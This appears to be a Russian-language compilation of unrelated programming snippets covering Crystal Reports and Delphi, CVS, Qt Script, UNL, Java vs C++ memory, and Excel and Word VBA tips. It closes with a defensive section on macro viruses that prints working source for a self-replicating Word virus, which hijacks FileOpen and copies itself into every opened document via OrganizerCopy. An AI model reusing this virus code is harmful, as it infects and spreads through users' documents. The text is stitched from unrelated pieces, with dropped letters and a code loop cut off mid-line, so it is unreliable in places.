Engine API можно также осуществить динамическое управление отчетом, правда, с несколько меньшим комфортом, чем при использовании готовых компонентов. Например, изменение формулы для отбора записей в готовом отчете согласно какому-либо критерию в этом случае осуществляется с помощью оператора примерно следующего вида: PESetSelectionFormula(JN,"{items.ItemNo} = 2"); Отметим также, что готовые компоненты для управления отчетами также создаются с помощью функций Print Engine API, и возможности творчества в этом направлении поистине безграничны...

    Использование VCL-компонентов Crystal Reports 6.0 с Delphi.

    В директории /SAMPAPPS/DELPHI содержится невизуальный компонент TCrpe Crpe_ico.bmp для версий Borland Delphi 1, 2 и 3, который в случае необходимости его использования должен быть установлен в палитру компонентов (по умолчанию - на страницу DataAccess). Этот компонент реализует почти все возможности, предоставляемые Print Engine API, позволяя избежать написания соответствующего кода. Для включения компонента в приложение следует поместить его на форму и установить необходимые значения его свойств (которых у этого компонента около сотни - для определения параметров, связанных с переменными отчета, печатью и отображением данных, типом окна, в котором отображается отчет, и т.д.). Минимально необходимым среди них является свойство ReportName - имя файла отчета. Для отображения отчета в стандартном окне, подобном изображенному на рис. 2, и вывода на принтер используется метод Execute этого компонента. Отметим, что с помощью установки значений ряда свойств этого компонента на этапе выполнения можно менять во время выполнения характеристики отчета, такие как значения специальных полей, текст SQL-запроса, условия отбора данных, свойства, связанные с отображением и печатью. Рассмотрим простейший пример подобного управления отчетом. С этой целью создадим простейший отчет на основе таблицы Items.db из базы данных DBDEMOS, входящей в комплект поставки Delphi. Затем создадим приложение, на главную форму которого поместим компонент TEdit, две кнопки и, разумеется, компонент TCrpe (рис.3). Рис. 3. Приложение для тестирования возможности управления отчетом на этапе выполнения. Создадим обработчик события, связанного с нажатием на кнопку "Открыть отчет": procedure TForm1.Button1Click(Sender: TObject); begin if edit1.text='' then Crpe1.SelectionFormula.Strings[0]:='' else Crpe1.SelectionFormula.Strings[0]:='{items.ItemNo} = ' + Edit1.Text; if not Crpe1.execute then ShowMessage('Ошибка открытия отчета'); end; В этом обработчике события на основе значения, введенного пользователем в компонент TEdit, меняется значение свойства SelectionFormula компонента TCrpe, и в результате пользователь получает в окне отчета не всю таблицу целиком, а только записи, в которых значение поля ItemNo равно введенному пользователем числу (рис.4). Для работоспособности данного кода рекомендуется в качестве значения свойства SelectionFormula ввести хотя бы одну пустую строку, чтобы в соответствующем строковом массиве был хотя бы один элемент. Рис. 4. Результат установки значения поля SelectionFormula на этапе выполнения.

    Изменение размера компонентов

    Изменение размера компонента можно проводить как при добавлении его на форму, так и после этого. При добавлении компонента следует выбрать его на палитре компонентов. Далее ужно поместить курсор мыши на форму, нажать левую клавишу и перемещать мышь, в результате чего на форме появится прямоугольник, изображающий границы бу ущего компонента. Когда прямоугольник приобретет необходимые размеры, нужно отпустить кнопку мыши (рис.3). Изменение размера компонентов Рис. 3. Изменение размера компонента при его добавлении на форму. Если перевести курсор мыши на один из появившихся вокруг компонента мале ьких черных квадратиков, курсор мыши изменяет форму. Перемещая этот курсор и вместе с ним границу компонента, можно изменять его размеры. Для изменения размеров нескольких компонентов следует выбрать их одним из описанных выше способов. Далее нужно выбрать пункт меню Edit/Size. Появится диалоговое окно Size. Выберите опции размера. Для точной установки размера в пикселах можно ввести числа в поля Width и Height. Далее нужно нажать кнопку OK. Изменение размера компонентов Рис. 4. Установка свойств компонентов c использованием меню EDIT/SIZE Можно добавить несколько копий компонента одного типа, выбирая компонент из палитры при нажатой клавише Shift. В этом случае вокруг компонента появляется п ямоугольник, окружающий этот компонент. После этого каждый щелчок мышью на фо ме приводит к появлению на ней копии компонента. Закончив режим многократного копирования, следует щелкнуть мышью на инструменте выбора курсора (первая кнопка на палитре компонентов с изображением стрелки).

    Извлечение рабочего каталога

    CVS не может работать в обычном дереве каталогов; наоборот, вы должны работать в каталоге, который CVS создаст для вас. Точно так же, как вы выписываете книгу из библиотеки перед тем, как забрать ее с собой, вам следует использовать команду `cvs checkout', чтобы получить от CVS рабочее дерево каталогов. Предположим, например, что вы работаете над проектом, называемым `httpc', тривиальным HTTP клиентом: $ cd $ cvs checkout httpc U httpc/.cvsignore U httpc/Makefile U httpc/httpc.c U httpc/poll-server $ Команда `cvs checkout httpc' означает "Извлечь дерево исходных текстов с именем `httpc' из репозитория, указанного в переменной окружения `CVSROOT'." CVS помещает дерево в подкаталог `httpc': $ cd httpc $ ls -l total 8 drwxr-xr-x 2 jimb 512 Oct 31 11:04 CVS -rw-r--r-- 1 jimb 89 Oct 31 10:42 Makefile -rw-r--r-- 1 jimb 4432 Oct 31 10:45 httpc.c -rwxr-xr-x 1 jimb 460 Oct 30 10:21 poll-server Большинство этих файлов -- рабочие копии исходных текстов `httpc'. Однако, подкаталог с именем `CVS' (самый первый) имеет другое назначение. CVS использует его для хранения дополнительной информации о каждом файле в этом каталоге, чтобы определять, какие изменения вы внесли в них с тех пор, как извлекли их из репозитория.

    Язык Qt Script

    Qt Script основан на ECMAScript 4.0 (также известном, как JavaScript 2.0 или JScript.NET). Qt Script полностью объектно-ориентирован и использует объектную модель, подобную имеющейся в Qt. Он обладает возможностями современных языков, такими как использование высокоуровневых типов данных и управление исключениями, а также предлагает полный Qt API. Синтаксис Qt Script подобен C++ и Java, но менее сложен. Qt Script обеспечивает более богатые возможности, чем того требует ECMAScript; например, класс String обладает всей функциональностью QString. Такие расширения языка разрешены стандартом ECMAScript. Ниже представленный код является примером реализации слота в Qt Script. function buttonCalculate_clicked() { var divisor; switch ( comboCurrency.currentText ) { case "EUR": divisor = 1.13091; break; case "GBP": divisor = 0.700417; break; case "JPY": divisor = 131.446; break; } const spinOutCol = spinOutputColumn.value - 1; const spinCol = spinColumn.value - 1; for ( var i = spinStartRow.value - 1; i Переменные объявляются с помощью var, а не конкретным именем типа, потому что, как и большинство языков сценариев, Qt Script не является строго типизированным языком. Объекты comboCurrency, spinStartRow и другие 'spin'-объекты являются элементами того же самого диалога, в котором размещена кнопка этого слота. Оператор with позволяет пользователям опускать подробные описания. Например, Application.sheet1.setText() и Application.sheet1.text() в представленном выше коде записаны как setText() и text(). Для доступа к глобальным объектам в слоте используется объект Application. Основу языка Qt Script составляют арифметические и логические операторы, циклы for и while, операторы if, switch, и др., которые уже знакомы многочисленным пользователям языков JavaScript и JScript. Это обстоятельство наряду с гибкой функциональностью и простотой в использовании делает Qt Script идеальным языком сценариев для пользователей конечных приложений. Тем не менее, в некоторых отраслях промышленности и сегментах рынка пользователи уже столкнулись с другими языками сценариев, такими, как Python и Tcl. QSA-технология привязывания является нейтральной по отношению к языку, и поэтому в будущих версиях QSA другие языки будут получать поддержку по мере востребованности.

    Язык UNL и концептно-ориентированная парадигма

    Краткое описание языка UNL Язык UNL представляет высказывания в виде множества так называемых универсальных слов, связанных определенного типа бинарными отношениями. Универсальное слово представляет собой обозначение некоторого понятия и задается именем соответствующего понятия (обычно на английском языке), группой вспомогательных атрибутов (число, время, наклонение и т. п.) и некоторыми ограничениями семантики, представленными с помощью других универсальных слов и отношений. Вот примеры универсальных слов: "человек" - man(icl>person) "люди" - man(icl>person).@plural "шляпа" - hat(icl>thing) Бинарные отношения задают тип взаимосвязи между понятиями. Например, в словосочетании "человек идет" используется отношение "agt" (agent), обозначающее связь между субъектом действия и самим действием. В словосочетании "нести флаг" используется отношение "obj" (object), обозначающее направленность действия на объект. В синтаксисе UNL эти примеры запишутся так: "человекидет" - agt(walk(icl>do), man(icl>person)) "нестифлаг" - obj(carry(icl>do), flag(icl>thing)) Любое множество таких пар может быть объединено в одно составное универсальное слово при помощи специальных меток. Например, словосочетание "человек, несущий флаг" представится следующим образом: agt:01(carry(icl>do):02, man(icl>person)) obj:01(carry(icl>do):02, flag(icl>thing)) Чтобы отразить тот факт, что несколько вхождений одного и того же универсального слова обозначают один объект, все вхождения маркируются одной и той же меткой, как это сделано в случае слова "carry". Составное слово, так же как и простое универсальное слово, может быть элементом бинарного отношения. Фраза "я вижу человека, несущего флаг" запишется так: agt:01(carry(icl>do):02, man(icl>person)) obj:01(carry(icl>do):02, flag(icl>thing)) agt(see(icl>do):03, I) obj(see(icl>do):03, :01) Как видно из примеров, каждое слово, простое и составное, в языке обозначает определенное понятие, или "концепт". Следовательно, UNL оперирует не словами, а именно концептами. С другой стороны, предложение на языке UNL представляет собой неупорядоченное множество связанных бинарными отношениями концептов. Отсюда следует, что при переводе на UNL исключено нарушение изоморфизма, вызванное различным порядком слов.

    Языки и объектно- ориентированное проектирование

    Этот миф устанавливает, что, изменив языковую или проектную парадигму, можно решить те проблемы разработки, с которыми мы не могли справиться, используя существующие языки или стратегии проектирования. Однако замена одного языка программирования другим, более современным, вряд ли поможет решить проблемы, не связанные напрямую с особенностями применяемого языка. А именно с такой задачей обычно и приходится сталкиваться. Современные программные системы становятся все сложнее. Для их реализации предлагается использовать опять-таки все усложняющиеся языки проектирования и программирования (которые содержат столько возможностей, что мало кто из специалистов способен корректно применять их). Особенно показательны в этом отношении ставшие сейчас очень популярными объектно-ориентированные языки. Понятия и концепции, лежащие в основе объектно-ориентированной парадигмы, весьма сложны и нуждаются в очень аккуратном обращении. Недостаточно корректное использование этой парадигмы сплошь и рядом приводит к возникновению серьезных проблем, что дает основания для внешне парадоксального вывода: создавать качественное ПО для многих легче с использованием "старых" языков, наделенных более скромными возможностями. К тому же современные парадигмы проектирования, в основе которых лежат принципы абстракции (такие, как инкапсуляция), делают процесс тестирования на системном уровне более сложным и менее эффективным. Известно, однако, что чем тяжелее тестировать, тем меньше шансов получить в итоге высококачественное ПО.

    Эффективность использования памяти

    Java и C++ используют различные подходы в управлении памятью. В C++ управление памятью полностью осуществляется программистом, т.е. по мере необходимости распределение и освобождение памяти должно выполняться программистом. Если программист забывает освободить ранее полученную память, возникает "утечка памяти". Если во время работы приложения произойдет лишь одна такая утечка, проблем не возникнет, так как после завершения работы приложения операционная система освободит всю ранее использованную им память. Но если утечки памяти будут происходить постоянно (например, если пользователь будет периодически выполнять определенные действия), использование памяти приложением будет расти вплоть до полного ее расхода с последующим возможным отказом системы. Java обеспечивает автоматическое освобождение неиспользуемой памяти. Наряду с распределением памяти программистом JVM ведет учет всех используемых блоков памяти и указателей на них. Если блок памяти больше не используется, он может быть освобожден. Это обеспечивает процесс, который называется "сборкой мусора". Он периодически вызывается JVM, проверяет все используемые блоки памяти и освобождает те из них, на которые отсутствуют указатели. Сборка мусора очень удобна, но за ее использование приходится расплачиваться большим потреблением памяти и низкой произодительностью... Программисты C++ могут (и должны) освобождать блоки памяти сразу после того, как они перестали быть нужны. С Java блоки не освобождаются до очередного вызова сборщика мусора, периодичность работы которого зависит от использумой реализации JVM. Prechtelt предоставляет цифровые данные, утверждая, что в среднем, (...) и с вероятностью 80% Java-программы используют на 32 MB (или 297%) памяти больше, чем C/C++ программы (...). Вдобавок к большому расходу памяти процесс сборки мусора требует дополнительной процессорной мощности, которая в результате становится недоступной приложению, и это приводит к замедлению его работы. Поэтому периодическая работа сборщика мусора может приводить к "замораживанию" Java-программы на несколько секунд.
    Лучшие реализации JVM минимизируют такие замораживания, но не устраняют их полностью. При работе с внешними программами и устройствами, например, во время ввода/вывода или при взаимодействии с базой данных, желательно закрыть файл или соединение с базой данных сразу же после того, как они перестали быть нужны. Благодаря деструкторам C++ это происходит сразу после вызова delete. В Java закрытие произойдет лишь во время следующего цикла работы сборщика мусора. В лучшем случае это может привести к излишней блокировке ресурсов, в худшем - к нарушению целостности открытых ресурсов. Тот факт, что Java-программы используют блоки памяти большие, чем необходимо, является особенно критичным для встраиваемых устройств, объемы памяти которых невелики. Неслучайно, что до сих пор (на время написания этой статьи) не существует полной реализации Java-платформы для встраиваемых устройств, а лишь ее частичные реализации. Главная причина, по которой сборка мусора является более дорогостоящей, чем непосредственное управление памятью программистом, - это утрата информации. В C++ программе программист знает и местонахождение своих блоков памяти (сохраняя указатели на них), и когда они перестанут быть ему нужными. В Java-программе последняя информация недоступна для JVM (даже если она известна программисту), поэтому JVM должна перебирать все блоки на предмет отсутствующих указателей. Для того, чтобы вызвать сборку мусора вручную, Java-программист может удалить все указатели на больше ненужные ему блоки памяти. Но со стороны программиста это потребует больше усилий, чем непосредственное управление памятью в C++; и тем не менее, во время сборки мусора JVM все равно придется проверить все блоки памяти, чтобы освободить неиспользуемые. С технической точки зрения, нет ничего такого, что бы мешало реализовать сборку мусора в C++ программах. Существуют обеспечивающие это коммерческие программы и библиотеки. Но из-за перечисленных выше недостатков немногие C++ программисты используют их. Инструментарий Qt использует более эффективный подход для упрощения задачи управления памятью: при удалении объекта все зависящие от него объекты также автоматически удаляются.


    Подход Qt не мешает программистам по желанию самостоятельно удалять объекты. Так как управление памятью в C и C++ обременительно для программиста, созданное с помощью этих языков программное обеспечение обвиняется в нестабильной работе и подверженности ошибкам. Хотя некорректная работа с памятью в C и C++ может привести к более критичным ошибкам (обычно приводящим к аварийному завершению программы), хорошие знания, инструментарий и опыт могут значительно уменьшить связанный с этим риск. Изучению управления памятью должно уделяться достаточно внимания. Также существует большое число коммерческих и свободных инструментов, позволяющих программистам обеспечить отсутствие в программах ошибок при работе с памятью; например, Parasoft Insure++, Rational Purify и Electric Fence. Гибкая система управления памятью в C++ делает возможным создавать адаптированные для любого типа приложений профилировщики памяти. В результате этого обсуждения мы убедились в том, что при сравнимой продуктивности программирования C++ обеспечивает приложениям гораздо лучшие, чем Java, производительность работы и эффективность использования памяти.

    Экспорт функций из DLL

    Как уже говорилось выше, для экспорта процедур и функций из DLL, необходимо использовать ключевое слово export. Еще раз обратите внимание на представленный выше листинг библиотеки MiFirstDll. Поскольку процедура HelloWorld определена как экспортируемая, то она может быть вызвана на выполнение из других библиотек или приложений. Существуют следующие способы экспорта процедур и функций: экспорт по имени и экспорт по порядковому номеру. Наиболее распространенный способ экспорта - по имени. Взглянем на приведенный ниже текст: exports SayHello, DoSomething, DoSomethingReallyCool; Следует обратить внимание на то, что Delphi автоматически назначает порядковый номер каждой экспортируемой функции (процедуре) независимо от того, определяете вы его явно или нет. Явное определение индекса позволяет вам лично управлять порядковым номером экспортируемой функции или процедуры. Для того, чтобы определить выполняется ли ваш кодек в DLL или в вызывающем приложении, можно воспользоваться глобальной переменной IsLibrary. Она принимает значение true в том случае, если код вызывается из библиотеки и false в случае выполнения процедуры или функции из вызывающего приложения. Кроме этого, в поставку Delphi входит весьма полезная утилита tdump, которая предоставляет данные о том, какая информация экспортируется из указанной DLL.

    Это - только ягодки

    На самом деле в данном случае мы имеем дело с достаточно простым случаем распределенной компонентной вычислительной модели в рамках обычного локального ПК. Можно себе представить, что нас ожидает при ее переносе на уровень даже локальной сети, а уж тем более Internet. "Летающие" по сетям программные компоненты, возможно, будут видеться не в том розовом свете, как это представляется в идеале.

    Как использовать CVS -- первый набросок

    Перед обсуждением множества разнобразных терминов и идей, давайте взглянем на основные команды CVS.

    Как из макроса Excel программно создать таблицу Access?

    Q: Подскажите, пожалуйста, как из под Excel программно создать таблицу Access A: Вот  фрагмент кода, который создаёт таблицу "BalanceShifr" базе  данных MS Access: Нint: Не забудьте выставить в Excel ссылки на объекты DAO!
    [VBA] Tools/References/Available References/ [x] MicroSoft DAO?.? Library ' Function CreateTable ' Create temporary table "BalanceShifr" into temporary database Public Function CreateTable(ByVal dbTemp As Database) As Boolean Dim tdfTemр As TableDef
    Dim idx As Index
    Dim fld As Field On Error GoTo errhandle   CreateTable = True
      '  CREATE TABLE "BalanceShifr"
      Set tdfTemp = dbTemp.CreateTableDef("BalanceShifr")
      Set fld = tdfTemp.CreateField("ConditionId", dbLong)
      fld.Required = True
      tdfTemp.Fields.Append fld
      Set fld = tdfTemp.CreateField("Account", dbText, 4)
    tdfTemp.Fields.Append fld
      Set fld = tdfTemp.CreateField("SubAcc", dbText, 4)
      tdfTemp.Fields.Append fld
      Set fld = tdfTemp.CreateField("Shifr", dbLong)
      tdfTemp.Fields.Append fld
      Set fld = tdfTemp.CreateField("Date", dbDate)
    fld.Required = True
      tdfTemp.Fields.Append fld
      Set fld = tdfTemp.CreateField("SaldoDeb", dbCurrency)
      tdfTemp.Fields.Append fld
      Set fld = tdfTemp.CreateField("SaldoKr", dbCurrency)
      tdfTemp.Fields.Append fld
      dbTemp.TableDefs.Append tdfTemp   '  CREATE INDEX "BalanceShifr"
      Set tdfTemp = dbTemp.TableDefs("BalanceShifr")
      Set idx = tdfTemp.CreateIndex("ForeignKey")
      Set fld = idx.CreateField("ConditionId")
      idx.Fields.Append fld
      tdfTemp.Indexes.Append idx
      Exit Function errHandle:
      MsgBox "Table creating error!", vbExclamation, "Error"
      CreateTable = False
    End Function


    Как обратиться к ячейке по ее имени?

    Q: Как обратиться к ячейки по ее имени?  Т.е. есть Лист1 и в нем ячейки с именем Дебет  и Кредит.   Хочy подсчитать Дебет-Кредит средствами Excel VBA. Попробовал Range(Дебет)-Range(Кредит), ругается, что не описаны  переменные. A: Если я правильно тебя понял, нужно разыменовать ячейку из кода Excel VBA. Вот фрагмент кода, который решает такую задачу:  ' Function ValueOfNamedCell
     ' Возвращает значение ячейки с именем sCellName. в активной рабочей книге.
     ' Note: Если ячейка с именем sCellName не существует - функцией возвращается
     '  значение Emрty.
     '
     Рublic Function ValueOfNamedCell(sCellName As String) As Variant
     On Error GoTo errНandle
       ValueOfNamedCell = ActiveWorkbook.Names(sCellName).RefersToRange.Value
     Exit Function
     errНandle:
       ValueOfNamedCell = Emрty
     End Function  Нint: Отлажено и протестировано в Excel'97.

    Как определить адрес активной ячейки

    Q:  Как в макросе узнать и использовать текущее  положение курсора (не мышиного, естественно)? A:  Очень просто! :-)
           ActiveCell.Row и ActiveCell.Column - покажут координаты активной ячейки.

    Как определить последнюю запись в таблице Excel?

    Q: Необходимо найти последнюю запись вэлектронной таблице. Какой функцией VB это можно было бы организовать. A: Первое что вспомнилось: Application.SpecialCells(xlLastCell)

    Как отменить выделение диапазона ячеек?

    Q: Как управиться с такой болячкой: ActiveSheet.Cells.Select После прекращения работы макроса диапазон остается выделенным. Как это выделение убрать? A: Попробуй вот как: Selection.Cells(1).Select Фокус ввода попадёт после этого на первую ячейку ранее выделенного диапазона.

    Как перенести текст из Dos-редактора в Word

    Возможно, в Вашем офисе тоже есть бухгалтер, до сих пор предпочитающий работать под Dos. Время от времени Вам необходимо работать с его текстовыми файлами. Часто в таких случаях открытый файл занимает лишь часть страницы и выглядит следующим образом: Отчет по продажам рогов и копыт. За истекший период рога и копыта были проданы Мурманским филиалом на сумму девятнадцать миллионов семьдесят тысяч теньге, Астраханским филиалом на пятнадцать миллионов... Как видите, текст занимает только полэкрана. Проблема состоит в том, что текстовые редакторы под Dos расставляют символы конца абзаца в конце каждой строки. Широко известен алгоритм, позволяющий преобразовать такие документы к нормальному виду Word.
  • Заменить два подряд идущих символа конца абзаца на символ табуляции.
  • Заменить символы конца абзаца на пробелы.
  • Заменить символы табуляции на символы конца абзаца. Довольно утомительно каждый раз проводить такие замены вручную, поэтому напишем макрос, который будет это делать за нас. Sub FormatDosText() Selection.WholeStory Rem Выделяем весь текст Selection.Find.ClearFormatting Rem Снимаем предыдущие условия поиска Selection.Find.Replacement.ClearFormatting Rem Снимаем предыдущие условия замены With Selection.Find Rem Задаем новые условия поиска и замены .Text = "^p^p" Rem Замена двух концов абзаца на символ табуляции .Replacement.Text = "^t" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll Rem Производим замену With Selection.Find .Text = "^p" Rem Замена конца абзаца на пробел .Replacement.Text = " " .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = "^t" Rem Замена символа табуляции на символ конца абзаца .Replacement.Text = "^p" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll End Sub Вообще говоря, для выполнения любых однотипных действий лучше создать макрос. Практика показывает, что потраченное на это время с лихвой окупается в дальнейшем. К тому же Вы избавляетесь от массы рутинной работы.

    Standard сейчас доступны по

    Delphi 3 Client/Server Suite, Delphi 3 Professional и Delphi 3 Standard сейчас доступны по обычным каналам распространения.

    Как прочитать испорченное письмо

    При работе с электронной почтой время от времени приходится сталкиваться с нечитаемыми сообщениями. Обычно это связано с проблемами кириллицы в российской части Интернет. Стандартной кодировкой кириллицы при работе с почтой считается KOI-8R, т.е. Unix-кодировка. Так как письмо проходит через большое количество почтовых серверов и некоторые из них считают своим долгом перекодировать ваше письмо в Koi, бывает, что письмо приходит адресату в совершенно неузнаваемом виде. Следующий макрос, который мы напишем, будет бороться с этой проблемой, переводя сообщение из Koi в Windows-кодировку. Идея очень проста. В двух строковых переменных WinCodePage и KoiCodePage зададим кодовые таблицы Windows и Koi, затем будем заменять i-тую букву из строки WinCodePage на i-тую букву cтроки KoiCodePage. При этом будем отмечать курсивом уже замененные буквы, чтобы не заменить одну и ту же букву дважды. Sub KoiToWin() KoiCodePage = "АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯабвгдежзийклмнопрстуфхцчшщьыъэюя" Rem задали строку кодировки Windows WinCodePage = "бвчздецъйклмнопртуфхжигюыэшщяьасБВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭШЩЯЬАС" Rem задали строку кодировки Koi Selection.Find.ClearFormatting Rem Заменяем только не курсив Selection.Find.Font.Italic = False Selection.Find.Replacement.ClearFormatting Selection.Find.Replacement.Font.Italic = True Rem Заменяем на курсив Rem Обратите внимание, замену производится с учетом форматирования. Rem Выделяем курсивом уже преобразованные буквы, иначе некоторые буквы будут Rem преобразованы дважды. For i = 1 To Len(WinCodePage) rem Функция Len определяет длину строки MySearch = Mid(KoiCodePage, i, 1) MyReplace = Mid(WinCodePage, i, 1) Rem Функция Mid вырезает из строки WinCodePage i-тую букву With Selection.Find .Text = MySearch .Replacement.Text = MyReplace .Forward = True .Wrap = wdFindContinue .Format = True .MatchCase = True .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll Next i Rem Снимаем курсив Selection.WholeStory With Selection.Font .Italic = False End With End Sub Для обратного кодирования нужно только поменять местами имена MySearch и MyReplace. Теперь Вы сможете не только прочитать все почтовые сообщения, но и перекодировать HTML-документы для публикации их в Web.

    Как проверить существует ли лист?

    Q: А как проверить существует ли лист? A: Я бы поступил вот как: ' Function IsWorkSheetExist
     ' Проверяет, имеется ли в активной рабочей книге лист с именем sSName.
     ' В случае успеха возвращает True, иначе - False
     '
     Рublic Function IsWorkSheetExist(sSName As String) As Boolean
    Dim c As Object  On Error GoTo errНandle:
       Set c = sheets(sName)
       ' Альтернативный вариант :
     Worksheets(sSName).Cells(1, 1) = Worksheets(sSName).Cells(1, 1)
       IsWorkSheetExist = True
     Exit Function
     errНandle:
       IsWorkSheetExist = False
     End Function  Нint: Отлажено и протестировано в Excel'97.  

    Как распланировать перекуры...

    Предположим, что сотрудники Вашего отдела слишком часто курят, или, наоборот ,так увлекаются работой, что забывают пообедать (это конечно маловероятный случай). Вторая программа, которую мы напишем, будет напоминать, что уже можно сходить покурить, или, скажем, пообедать. Метод OnTime объекта application позволяет задать время выполнения макроса. Синтаксис у этого метода следующий: Application.OnTime(When, Name, Tolerance) Здесь When указывает время выполнения, Name - это имя макроса, который необходимо выполнить, Tolerance - необязательный параметр, указывающий на промежуток времени, в течение которого должен выполниться макрос. В нашей программе сообщения будут выдаваться каждый час. Назовем первый макрос AutoExec, чтобы он запускался при старте Word. В нашем случае метод onTime использует функции Now, чтобы определить текущее время, и TimeValue для того, чтобы задать промежуток равный часу. Макрос Message выдает сообщение и задает следующий интервал выполнения. Sub AutoExec() Application.OnTime Now + TimeValue("00:01:00"), "Message" End Sub Sub Message() MsgBox ("Теперь можно и покурить...") Application.OnTime Now + TimeValue("00:01:00"), "Message" End Sub Слегка видоизменив макрос, можно написать даже целое расписание на рабочий день. Единственное, о чем следует помнить - такие макросы лучше всего сохранять в глобальном шаблоне Normal.dot, чтобы они были всегда доступны.

    Как управлять любой Windows-программой

    Управление Windows-приложениями представляется сложным даже для опытных программистов. Однако с помощью WordBasic любой пользователь может управлять приложениями, поддерживающими ввод с клавиатуры. Напишем макрос, который запускает Netscape Navigator и загружает страницу с адресом www.diamondteam.ru. Сначала запустим Netscape Navigator командой Shell ("C:\netscape\program\netscape.exe", vbNormalFocus). Первый параметр команды указывает путь к приложению, второй определяет вид окна приложения. Используем команду SendKeys для имитации ввода с клавиатуры в активное окно Windows. Sub Navigator() MySHell = Shell("C:\netscape\program\netscape.exe", vbNormalFocus) SendKeys "{ENTER}", True Rem имитируем нажатие на клавишу enter SendKeys "{TAB}", True Rem имитируем нажатие на клавишу tab SendKeys "http://www.diamondteam.ru", True SendKeys "{ENTER}", True End Sub Итак, для управления любым Windows-приложением необходимо просто запустить приложение, сделать его окно активным и с помощью команды SendKeys "ввести с клавиатуры" все, что необходимо. Согласитесь, это гораздо проще, чем бороться с сообщениями Windows. В заключение я хочу перечислить случаи, когда на мой взгляд, удобнее пользоваться макросами Word, а не другими средствами программирования:
  • При обработке документов Word, поскольку формат документов Word до сих пор является тайной, тщательно скрываемой компанией Microsoft.
  • При обработке текстовых документов, особенно связанной с поиском и заменой. Word предоставляет Вам массу удобных функций для работы с текстом. Если у Вас есть замечания и вопросы по поводу этого обзора, пишите на адрес: . (Макровирусы присылать исключительно в текстовом виде:)). Примечание: Все приведенные примеры написаны на версии WordBasic для Office'97.

    Как задать имя листу, который будет вставлен?

    Q:Хочy через Excel VBA задать имя листу, который будет вставлен. Но у команды Sheets.Add нет такого параметра ! Как бороться? A: Очень просто...
    '
    ' Sub CreateSheet
    ' Вставляет активную рабочую книгу в рабочий лист с именем sSName.
    ' Note: Если параметр bVisible имеет значение False, этот лист становится  скрытым.
    '
    Рublic Sub CreateSheet(sSName As String, bVisible As Boolean)
    Dim wsNewSheet As WorkSheet On Error GoTo errНandle Set wsNewSheet = ActiveWorkBook.Worksheets.Add
      With wsNewSheet
       .Name = sSName
       .Visible = bVisible
      End With
    Exit Sub
    errНandle:
      MsgBox Err.Descriрtion, vbExclamation, "Error #" & Err.Number
    End Sub

    Как защититься от макровирусов

    Макровирусы обычно пишут школьники в целях самоутверждения. Такие вирусы не делают ничего плохого - они только размножаются на Вашем компьютере. Однако не следует пренебрегать средствами зашиты от макровирусов, так как с помощью WordBasic можно написать вирус, портящий документы Word, или даже форматирующий жесткий диск. Особенность макровирусов состоит в том, что обычные антивирусы их не распознают. Для защиты от макровирусов можно порекомендовать ViruScan фирмы MacCafee. (http://www.macafee.com). Кроме того существует несколько простых способов предотвратить заражение. В Word 6.0 все макросы хранятся в файлах шаблонов (*.dot) и доступны только при открытом шаблоне. Поскольку при открытии Word автоматически загружает глобальный шаблон Normal.dot, все вирусы стремятся записать себя туда. Поэтому, если Вы работаете в Word 6.0, укажите для файла Normal.dot атрибут "только чтение". Еще один вариант - при открытии подозрительных документов держать нажатой клавишу shift, чтобы не допустить выполнение автомакросов. Ну и разумеется, если Вы обнаружите в списке макросов имена, начинающиеся на auto - сотрите их немедленно. В Word97 макросы могут содержаться не только в шаблонах, но и в обычных документах. Как уже упоминалось, для автоматического запуска макроса при том или ином событии макрос должен иметь одно из следующих имен:
  • AutoExec - Запускается при старте Word или загрузке глобального шаблона
  • AutoNew - Запускается при создании нового документа
  • AutoOpen - Запускается при открытии документа
  • AutoClose - Запускается при закрытии документа
  • AutoExit - Запускается при выходе из Word или при закрытии глобального шаблона. Конечно можно отменить выполнение таких макросов, нажав клавишу Shift при загрузке Word, а также при открытии, создании и закрытии документов, однако мне такой способ представляется утомительным. Напишем макрос, препятствующий выполнению автомакросов: Sub Autoexec() MsgBox "Не допустим размножения вирусов!" WordBasic.DisableAutoMacros End Sub Для предотвращения заражения документов макровирусами необходимо хорошо предсталять себе их принцип работы.
    Создатели Microsoft Office облегчили задачу злоумышленников тем, что ввели возможность подменять команды Word макрокомандами пользователя. Это значит, что если в Вашем документе есть макрос с именем, скажем, FileOpen, он будет исполняться всякий раз при открытии другого документа. Особенно уязвимы пользователи Word 97. В старых добрых версиях Word макросы могли храниться только в шаблонах (файлах *.dot). Office'97 позволяет хранить макросы непосредственно в документе - следовательно, возможностей распространения вирусов становится больше. Рассмотрим вирус, предназначенный для заражения Word-документов. Этот вирус использует служебное имя FileOpen. Процедура FileOpen() выполняется всякий раз, когда пользователь открывает файл и маскируется под обычный диалог Файл->Открыть файл. Sub FileOpen() InfectorPath = MacroContainer.Path + "\" + MacroContainer.Name Rem Переменная InfectorPath определяет путь к документу, содержащему вирус. Dialogs(wdDialogFileOpen).Show Rem Имитируется диалог Файл->Открыть файл Infected = False For Each VbComponent In ActiveDocument.VBProject.VBComponents If VbComponent.Name = "Virus" Then Infected = True Rem Здесь открытый пользователем файл проверяется на наличие вируса Next If Not Infected Then Rem Если файл не заражен, вирус дописывается в файл CopyMacro ActiveDocument.Path + "\" + ActiveDocument.Name, InfectorPath End If End Sub Public Sub CopyMacro(NewDestination, NewSource) On Error GoTo nextline Application.OrganizerCopy Source:= _ NewSource, Destination:=NewDestination, Name:="Virus", Object:= _ WdOrganizerObjectProjectItems Rem копируем модуль с вирусом ActiveDocument.Save Rem сохраняем документ nextline: End Sub Как видите, этот вирус не использует имена автомакросов, и написанный нами выше макрос autoexec() от него не спасет:) По правде сказать, мне не известен способ защиты от таких вирусов. Единственное, чо можно порекомендовать: просматривайте подозрительные файлы и стирайте обнаруженные макросы с именами типа FileOpen, 